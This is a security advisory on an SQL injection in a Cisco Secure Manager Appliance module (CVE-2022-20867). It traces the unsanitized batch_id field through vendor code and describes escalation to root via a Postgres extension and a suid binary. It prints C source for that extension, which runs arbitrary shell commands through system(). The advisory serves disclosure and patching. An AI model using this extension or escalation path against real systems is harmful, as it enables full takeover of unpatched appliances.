# SSD Advisory – Cisco Secure Manager Appliance remediation_request_utils SQL Injection Remote Code Execution
November 14, 2022 [SSD Disclosure / Technical Lead](https://ssd-disclosure.com/author/noamr/) [Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication as a high-privileged user is required to exploit this vulnerability.
The specific flaw exists within the `remediation_request_utils` module. The issue results from the lack of proper validation of user-supplied data, which can result in SQL injection. An attacker can leverage this vulnerability to execute code in the context of `root`.
**Note:** [Another vulnerability was published alongside this one](https://ssd-disclosure.com/ssd-advisory-cisco-secure-manager-appliance-jwt_api_impl-hardcoded-jwt-secret-elevation-of-privilege). These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability. A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.
**CVE**
CVE-2022-20867
CVE-2022-20868
***\*Credit\****
An independent security researcher has reported this to the SSD Secure Disclosure program.
**Technical Analysis**
The remediation functionality is only available to users that have one of the following roles: `ADMIN`, `EMAIL_ADMIN`, or `CLOUD_ADMIN`, however since we can impersonate any user we can obtain a token for the `admin` account.
The entry point for the vulnerability may be found in the `process_POST` method. The method loads [*1*] the `remediation_data` object from the body of the post request. The `batch_id` is obtained from the `remediation_data` object if present, and it is used to create [*3*] the `record` object. Finally, the `record` object is passed to the `store_mor_details` method indirectly via the `remediation_request_records` object.
```
def process_POST(self, uri_ctx):
post_data = uri_ctx.request_body
if not post_data:
qlog.write('API.REQUEST.INFO', CONSTANTS.NO_CRITERIA)
return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.NO_CRITERIA)
else:
try:
remediation_data = json.loads(post_data, object_hook=stringyfy)['data'] # 1
except (SyntaxError, ValueError, KeyError):
qlog.write('API.REQUEST.INFO', CONSTANTS.MALFORMED_CRITERIA)
return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.MALFORMED_CRITERIA)
else:
try:
remediation_data[CONSTANTS.REMEDIATION_ACTION] = remediation_data[CONSTANTS.REMEDIATION_ACTION].lower()
initiated_username = uri_ctx.user_name
if not initiated_username:
initiated_username = remediation_data[CONSTANTS.INITIATED_USERNAME]
if not remediation_data.get(CONSTANTS.INITIATED_TIME):
remediation_data[CONSTANTS.INITIATED_TIME] = int(time.time())
batch_id = remediation_data.get(CONSTANTS.BATCH_ID) # 2
if not batch_id:
batch_id = generate_batch_id(initiated_username, remediation_data[CONSTANTS.INITIATED_TIME])
remediation_data[CONSTANTS.BATCH_ID] = batch_id
batch_info_record = create_batch_info_record(remediation_data)
batch_name = remediation_data[CONSTANTS.BATCH_NAME]
message_details = remediation_data[CONSTANTS.REMEDIATION_MESSAGE_DETAILS]
remediation_records = []
for remediation_item in message_details:
record = create_message_details_record(remediation_item, batch_id) # 3
remediation_records.extend(record)
# ...
try:
# ...
remediation_request_records = {CONSTANTS.BATCH_INFO_RECORD: batch_info_record,
CONSTANTS.REMEDIATION_RECORDS: remediation_records}
self.msgs_db_client.store_mor_details(remediation_request_records, True) # 4
```
The `store_mor_details` method is an RPC wrapper that calls [*5*] the `write_mor_details_to_buffer` method.
```
def store_mor_details(self, remediation_data, immediate_msg_write=False):
return msgs_db_utils.write_mor_details_to_buffer(remediation_data, immediate_msg_write) # 5
```
The `write_mor_details_to_buffer` method uses the `record` object generated earlier as a parameter to call [*6*] the `get_formatted_mor_record` method and then calls [*7*] the `mor_details_buffer_writer` with the result.
```
def write_mor_details_to_buffer(remediation_data, immediate_msg_write=False):
if remediation_data:
formatted_mor_records = [ get_formatted_mor_record(record) for record in remediation_data.get(remediation_consts.REMEDIATION_RECORDS) ] # 6
formatted_mor_batch_records = [
get_formatted_mor_batch_record(remediation_data.get(remediation_consts.BATCH_INFO_RECORD))]
msgs_db_handler = msgs_db_updater.get_msgs_db_handler()
msgs_db_handler.mor_details_buffer_writer(formatted_mor_records, immediate_msg_write) # 7
msgs_db_handler.mor_batch_details_buffer_writer(formatted_mor_batch_records, immediate_msg_write)
```
The `get_formatted_mor_record` formats the fields for the INSERT query that will be executed later. Some fields are sanitized, however the `batch_id` field is embedded [*8*] into the query without any sanitization.
```
def get_formatted_mor_record(mor_data):
(batch_id, mid, subject, from_addrs, rcpts, ip, message_id, attempts, status, sent_at) = mor_data
record = "('%s', %s, '%s'" % (batch_id, mid, _get_sanitized_record_field(subject)) # 8
record = "%s, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (record, _get_sanitized_record_field(from_addrs),
_get_sanitized_record_field(rcpts), ip, _get_sanitized_record_field(message_id), attempts, status, sent_at)
return record
```
The `mor_details_buffer_writer` method is later called to execute the query. The method calls [*9*] the `insert_mor_details` method with the provided parameters.
```
def mor_details_buffer_writer(self, records, immediate_msg_write=False):
if not self.db_full and len(records) < self._limit:
conn = self._get_connection()
if immediate_msg_write and conn is not None:
self.insert_mor_details(conn, records) # 9
return
```
The `insert_mor_details` method fully constructs [*10*] the query and then it executes [*11*] it.
```
def insert_mor_details(self, conn, bulk_records):
query_str = msgs_db_query.get_mor_details_bulk_insert_query(bulk_records) # 10
msgs_db_defs.log_trace('Query string for mor_details: %s' % (query_str,))
try:
try:
self.query(conn, query_str) # 11
except (coro_postgres.QueryError, coro_postgres.InternalError), err:
msgs_db_defs.log('Database insertion error %s' % (
err,))
raise
except coro_postgres.ConnectionClosedError, err:
msgs_db_defs.log('Postgres connection closed. Reason: %s' % (err,))
raise
else:
self.db_empty = False
msgs_db_defs.log('%s records inserted' % (len(bulk_records),))
finally:
self._release_connection(conn)
```
The query is constructed by calling the `get_mor_details_bulk_insert_query`, which internally calls [*12*] the `_get_records_insert_query` method.
```
def get_mor_details_bulk_insert_query(bulk_records):
return _get_records_insert_query(msgs_db_defs.MOR_DETAILS_TABLE_COLUMNS, bulk_records, msgs_db_defs.MOR_DETAILS_TABLE) # 12
```
Finally, the `_get_records_insert_query` method uses the given parameters to construct [*13*] the query without any further sanitization.
```
def _get_records_insert_query(keys, values, table_name):
keys = (', ').join(keys)
values = (', ').join(values)
return 'INSERT INTO %s (%s) VALUES %s' % (table_name, keys, values) # 13
```
As the SQL injection happens in the context of the `pgsql` user, there are multiple methods to execute arbitrary commands on the target system. The method used in the exploit is to write to disk and load a postgres extension and to later call it’s defined function `pg_system` to execute arbitrary commands. To obtain `root` on the target server, there is a `suid` binary available named `runas` which allows any user to run commands as any other user by providing the desired username as the first parameter. The code for the postgres extension may be found below.
```
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_system);
Datum pg_system(PG_FUNCTION_ARGS) {
text *commandText = PG_GETARG_TEXT_P(0);
int32 commandLen = VARSIZE(commandText) - VARHDRSZ;
char *command = (char *)palloc(commandLen + 1);
int32 result = 0;
memcpy(command, VARDATA(commandText), commandLen);
command[commandLen] = 0;
result = system(command);
pfree(command);
PG_RETURN_INT32(result);
}
```
**Vendor Response**
The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD
暂无评论